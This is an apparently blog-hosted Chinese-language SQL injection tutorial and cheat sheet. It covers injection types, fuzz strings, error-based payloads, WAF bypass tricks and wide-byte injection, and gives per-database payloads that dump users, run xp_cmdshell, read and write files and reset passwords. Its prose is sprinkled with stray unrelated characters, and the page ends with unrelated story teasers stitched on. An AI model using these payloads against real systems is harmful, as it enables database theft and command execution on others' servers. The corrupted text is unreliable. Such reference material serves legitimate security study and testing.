3.1 SQL注入

3.1.1 注入分類

??SQL注入是一種代碼注入技術(shù)倘屹,用于攻擊數(shù)據(jù)驅(qū)動(dòng)的應(yīng)用程序慢叨。 在應(yīng)用程序中纽匙,如果沒(méi)有做恰當(dāng)?shù)倪^(guò)濾,則可能使得惡意的SQL語(yǔ)句被插入輸入字段中執(zhí)行(例如將數(shù)據(jù)庫(kù)內(nèi)容轉(zhuǎn)儲(chǔ)給攻擊者)拍谐。

3.1.1.1. 按技巧分類

??根據(jù)使用的技巧哄辣,SQL注入類型可分為

  • 盲注
    • 布爾盲注:只能從應(yīng)用返回中推斷語(yǔ)句執(zhí)行后的布爾值
    • 時(shí)間盲注:應(yīng)用沒(méi)有明確的回顯请梢,只能使用特定的時(shí)間函數(shù)來(lái)判斷
  • 報(bào)錯(cuò)注入:應(yīng)用會(huì)顯示全部或者部分的報(bào)錯(cuò)信息
  • 堆疊注入:有的應(yīng)用可以加入 ; 后一次執(zhí)行多條語(yǔ)句
  • 其他

3.1.1.2. 按獲取數(shù)據(jù)的方式分類

??另外也可以根據(jù)獲取數(shù)據(jù)的方式分為3類

  • inband
    • 利用Web應(yīng)用來(lái)直接獲取數(shù)據(jù)
    • 如報(bào)錯(cuò)注入
    • 都是通過(guò)站點(diǎn)的響應(yīng)或者錯(cuò)誤反饋來(lái)提取數(shù)據(jù)
  • inference
    • 通過(guò)Web的一些反映來(lái)推斷數(shù)據(jù)
    • 如布爾盲注和堆疊注入
    • 也就是我們通俗的盲注,
    • 通過(guò)web應(yīng)用的其他改變來(lái)推斷數(shù)據(jù)
  • out of band(OOB)
    • 通過(guò)其他傳輸方式來(lái)獲得數(shù)據(jù)力穗,比如DNS解析協(xié)議和電子郵件

3.1.2 注入檢測(cè)

3.1.2.1. 常見(jiàn)的注入點(diǎn)

  • GET/POST/PUT/DELETE參數(shù)
  • X-Forwarded-For
  • 文件名

3.1.2.2. Fuzz注入點(diǎn)

  • ' / "
  • 1/1
  • 1/0
  • and 1=1
  • " and "1"="1
  • and 1=2
  • or 1=1
  • or 1=
  • ' and '1'='1
  • + - ^ * % /
  • << >> || | & &&
  • ~
  • !
  • @
  • 反引號(hào)執(zhí)行

3.1.2.3. 測(cè)試用常量

  • @@version
  • @@servername
  • @@language
  • @@spid

3.1.2.4. 測(cè)試列數(shù)

??例如 http://www.foo.com/index.asp?id=12+union+select+nulll,null-- 毅弧,不斷增加 null 至不返回

3.1.2.5. 報(bào)錯(cuò)注入

  • select 1/0
  • select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
  • extractvalue(1, concat(0x5c,(select user())))
  • updatexml(0x3a,concat(1,(select user())),1)
  • exp(~(SELECT * from(select user())a))
  • ST_LatFromGeoHash((select * from(select * from(select user())a)b))
  • GTID_SUBSET(version(), 1)

3.1.2.5.1. 基于geometric的報(bào)錯(cuò)注入

  • GeometryCollection((select * from (select * from(select user())a)b))
  • polygon((select * from(select * from(select user())a)b))
  • multipoint((select * from(select * from(select user())a)b))
  • multilinestring((select * from(select * from(select user())a)b))
  • LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon((select * from(select * from(select user())a)b))
    ??其中需要注意的是,基于exp函數(shù)的報(bào)錯(cuò)注入在MySQL 5.5.49后的版本已經(jīng)不再生效当窗,具體可以參考這個(gè) commit 95825f 够坐。
    ??而以上列表中基于geometric的報(bào)錯(cuò)注入在這個(gè) commit 5caea4 中被修復(fù),在5.5.x較后的版本中同樣不再生效崖面。

3.1.2.6. 堆疊注入

  • ;select 1

3.1.2.7. 注釋符

  • #
  • --+
  • /*xxx*/
  • /*!xxx*/
  • /*!50000xxx*/

3.1.2.8. 判斷過(guò)濾規(guī)則

  • 是否有trunc
  • 是否過(guò)濾某個(gè)字符
  • 是否過(guò)濾關(guān)鍵字
  • slash和編碼

3.1.2.9. 獲取信息

  • 判斷數(shù)據(jù)庫(kù)類型
    • and exists (select * from msysobjects ) > 0 access數(shù)據(jù)庫(kù)
    • and exists (select * from sysobjects ) > 0 SQLServer數(shù)據(jù)庫(kù)
  • 判斷數(shù)據(jù)庫(kù)表
    • and exsits (select * from admin)
  • 版本元咙、主機(jī)名、用戶名巫员、庫(kù)名
  • 表和字段
    • 確定字段數(shù)
      • Order By
      • Select Into
    • 表名庶香、列名

3.1.2.10. 測(cè)試權(quán)限

  • 文件操作
    • 讀敏感文件
    • 寫(xiě)shell
  • 帶外通道
    • 網(wǎng)絡(luò)請(qǐng)求

3.1.3 權(quán)限提升

3.1.3.1. UDF提權(quán)

??UDF(User Defined Function,用戶自定義函數(shù))是MySQL提供的一個(gè)功能简识,可以通過(guò)編寫(xiě)DLL擴(kuò)展為MySQL添加新函數(shù)赶掖,擴(kuò)充其功能。
??當(dāng)獲得MySQL權(quán)限之后七扰,即可通過(guò)這種方式上傳自定義的擴(kuò)展文件奢赂,從MySQL中執(zhí)行系統(tǒng)命令。

3.1.4 數(shù)據(jù)庫(kù)檢測(cè)

3.1.4.1. MySQL

  • sleep sleep(1)
  • benchmark BENCHMARK(5000000, MD5('test'))
  • 字符串連接
    • SELECT 'a' 'b'
    • SELECT CONCAT('some','string')
  • version
    • SELECT @@version
    • SELECT version()
  • 識(shí)別用函數(shù)
    • connection_id()
    • last_insert_id()
    • row_count()

3.1.4.2. Oracle

  • 字符串連接
    • 'a'||'oracle' --
    • SELECT CONCAT('some','string')
  • version
    • SELECT banner FROM v$version
    • SELECT banner FROM v$version WHERE rownum=1

3.1.4.3. SQLServer

  • WAITFOR WAITFOR DELAY '00:00:10';
  • SERVERNAME SELECT @@SERVERNAME
  • version SELECT @@version
  • 字符串連接
    • SELECT 'some'+'string'
  • 常量
    • @@pack_received
    • @@rowcount

3.1.4.4. PostgreSQL

  • sleep pg_sleep(1)

3.1.5 繞過(guò)技巧

  • 編碼繞過(guò)
    • 大小寫(xiě)
    • url編碼
    • html編碼
    • 十六進(jìn)制編碼
    • unicode編碼
  • 注釋
    • // -- -- + -- - # /**/ ;%00
    • 內(nèi)聯(lián)注釋用的更多颈走,它有一個(gè)特性 /!**/ 只有MySQL能識(shí)別
    • e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
  • 只過(guò)濾了一次時(shí)
    • union => ununionion
  • 相同功能替換
    • 函數(shù)替換
      • substring / mid / sub
      • ascii / hex / bin
      • benchmark / sleep
    • 變量替換
      • user() / @@user
    • 符號(hào)和關(guān)鍵字
      • and / &
      • or / |
  • HTTP參數(shù)
    • HTTP參數(shù)污染
      • id=1&id=2&id=3 根據(jù)容器不同會(huì)有不同的結(jié)果
    • HTTP分割注入
  • 緩沖區(qū)溢出
    • 一些C語(yǔ)言的WAF處理的字符串長(zhǎng)度有限膳灶,超出某個(gè)長(zhǎng)度后的payload可能不會(huì)被處理
  • 二次注入有長(zhǎng)度限制時(shí),通過(guò)多句執(zhí)行的方法改掉數(shù)據(jù)庫(kù)該字段的長(zhǎng)度繞過(guò)

3.1.6 SQL注入小技巧

3.1.6.1. 寬字節(jié)注入

??一般程序員用gbk編碼做開(kāi)發(fā)的時(shí)候立由,會(huì)用 set names 'gbk' 來(lái)設(shè)定轧钓,這句話等同于

set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';

??漏洞發(fā)生的原因是執(zhí)行了 set character_set_client = 'gbk'; 之后,mysql就會(huì)認(rèn)為客戶端傳過(guò)來(lái)的數(shù)據(jù)是gbk編碼的锐膜,從而使用gbk去解碼聋迎,而mysql_real_escape是在解碼前執(zhí)行的。但是直接用 set names 'gbk' 的話real_escape是不知道設(shè)置的數(shù)據(jù)的編碼的枣耀,就會(huì)加 %5c 霉晕。此時(shí)server拿到數(shù)據(jù)解碼 就認(rèn)為提交的字符+%5c是gbk的一個(gè)字符,這樣就產(chǎn)生漏洞了捞奕。
??解決的辦法有三種牺堰,第一種是把client的charset設(shè)置為binary蜒灰,就不會(huì)做一次解碼的操作若皱。第二種是是 mysql_set_charset('gbk') 彩掐,這里就會(huì)把編碼的信息保存在和數(shù)據(jù)庫(kù)的連接里面酒唉,就不會(huì)出現(xiàn)這個(gè)問(wèn)題了。 第三種就是用pdo征字。
??還有一些其他的編碼技巧寻咒,比如latin會(huì)棄掉無(wú)效的unicode兄朋,那么admin%32在代碼里面不等于admin,在數(shù)據(jù)庫(kù)比較會(huì)等于admin渐溶。

3.1.7 CheatSheet

3.1.7.1. SQL Server Payload

  • Version
    • SELECT @@version
  • Comment
    • SELECT 1 -- comment
    • SELECT /*comment*/1
  • Current User
    • SELECT user_name()
    • SELECT system_user
    • SELECT user
    • SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
  • List User
    • SELECT name FROM master..syslogins
  • Current Database
    • SELECT DB_NAME()
  • List Database
    • SELECT name FROM master..sysdatabases
  • Command
    • EXEC xp_cmdshell 'net user'
  • Ascii
    • SELECT char(0x41)
    • SELECT ascii('A')
    • SELECT char(65)+char(66) => return AB
  • Delay
    • WAITFOR DELAY '0:0:3' pause for 3 seconds
  • Change Password
    • ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'

3.1.7.2. MySQL Payload

  • Version
    • SELECT @@version
  • Comment
    • SELECT 1 -- comment
    • SELECT 1 # comment
    • SELECT /*comment*/1
  • Current User
    • SELECT user()
    • SELECT system_user()
  • List User
    • SELECT user FROM mysql.user
  • Current Database
    • SELECT database()
  • List Database
    • SELECT schema_name FROM information_schema.schemata
  • List Tables>
    • SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • List Columns
    • SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • If
    • SELECT if(1=1,'foo','bar'); return 'foo'
  • Ascii
    • SELECT char(0x41)
    • SELECT ascii('A')
    • SELECT 0x414243 => return ABC
  • Delay
    • sleep(1)
    • SELECT BENCHMARK(1000000,MD5('A'))
  • Read File
    • select @@datadir
    • select load_file('databasename/tablename.MYD')
  • Blind
    • ascii(substring(str,pos,length)) & 32 = 1
  • Error Based
    • select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
  • Write File
    • union select 1,1,1 into outfile '/tmp/demo.txt'
    • union select 1,1,1 into dumpfile '/tmp/demo.txt'
    • dumpfile和outfile不同在于辉浦,outfile會(huì)在行末端寫(xiě)入新行,會(huì)轉(zhuǎn)義換行符茎辐,如果寫(xiě)入二進(jìn)制文件宪郊,很可能被這種特性破壞
  • Change Password
    • mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"

3.1.7.3. PostgresSQL Payload

  • Version
    • SELECT version()
  • Comment
    • SELECT 1 -- comment
    • SELECT /*comment*/1
  • Current User
    • SELECT user
    • SELECT current_user
    • SELECT session_user
    • SELECT getpgusername()
  • List User
    • SELECT usename FROM pg_user
  • Current Database
    • SELECT current_database()
  • List Database
    • SELECT datname FROM pg_database
  • Ascii
    • SELECT char(0x41)
    • SELECT ascii('A')
  • Delay
    • pg_sleep(1)

3.1.7.4. Oracle Payload

  • dump
    • SELECT * FROM ALL_TABLES

3.1.8 參考文章

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
禁止轉(zhuǎn)載,如需轉(zhuǎn)載請(qǐng)通過(guò)簡(jiǎn)信或評(píng)論聯(lián)系作者拖陆。
  • 序言:七十年代末弛槐,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子依啰,更是在濱河造成了極大的恐慌乎串,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,406評(píng)論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件速警,死亡現(xiàn)場(chǎng)離奇詭異叹誉,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)坏瞄,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,732評(píng)論 3 393
  • 文/潘曉璐 我一進(jìn)店門桂对,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)甩卓,“玉大人鸠匀,你說(shuō)我怎么就攤上這事∮馐粒” “怎么了缀棍?”我有些...
    開(kāi)封第一講書(shū)人閱讀 163,711評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)机错。 經(jīng)常有香客問(wèn)我爬范,道長(zhǎng),這世上最難降的妖魔是什么弱匪? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,380評(píng)論 1 293
  • 正文 為了忘掉前任青瀑,我火速辦了婚禮,結(jié)果婚禮上萧诫,老公的妹妹穿的比我還像新娘斥难。我一直安慰自己,他們只是感情好帘饶,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,432評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布哑诊。 她就那樣靜靜地躺著,像睡著了一般及刻。 火紅的嫁衣襯著肌膚如雪镀裤。 梳的紋絲不亂的頭發(fā)上竞阐,一...
    開(kāi)封第一講書(shū)人閱讀 51,301評(píng)論 1 301
  • 那天,我揣著相機(jī)與錄音暑劝,去河邊找鬼骆莹。 笑死,一個(gè)胖子當(dāng)著我的面吹牛铃岔,可吹牛的內(nèi)容都是我干的汪疮。 我是一名探鬼主播,決...
    沈念sama閱讀 40,145評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼毁习,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼智嚷!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起纺且,我...
    開(kāi)封第一講書(shū)人閱讀 39,008評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤盏道,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后载碌,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體猜嘱,經(jīng)...
    沈念sama閱讀 45,443評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,649評(píng)論 3 334
  • 正文 我和宋清朗相戀三年嫁艇,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了朗伶。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,795評(píng)論 1 347
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡步咪,死狀恐怖论皆,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情猾漫,我是刑警寧澤点晴,帶...
    沈念sama閱讀 35,501評(píng)論 5 345
  • 正文 年R本政府宣布,位于F島的核電站悯周,受9級(jí)特大地震影響粒督,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜禽翼,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,119評(píng)論 3 328
  • 文/蒙蒙 一屠橄、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧闰挡,春花似錦锐墙、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,731評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至花枫,卻和暖如春刻盐,著一層夾襖步出監(jiān)牢的瞬間掏膏,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,865評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工敦锌, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留馒疹,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,899評(píng)論 2 370
  • 正文 我出身青樓乙墙,卻偏偏與公主長(zhǎng)得像颖变,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子听想,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,724評(píng)論 2 354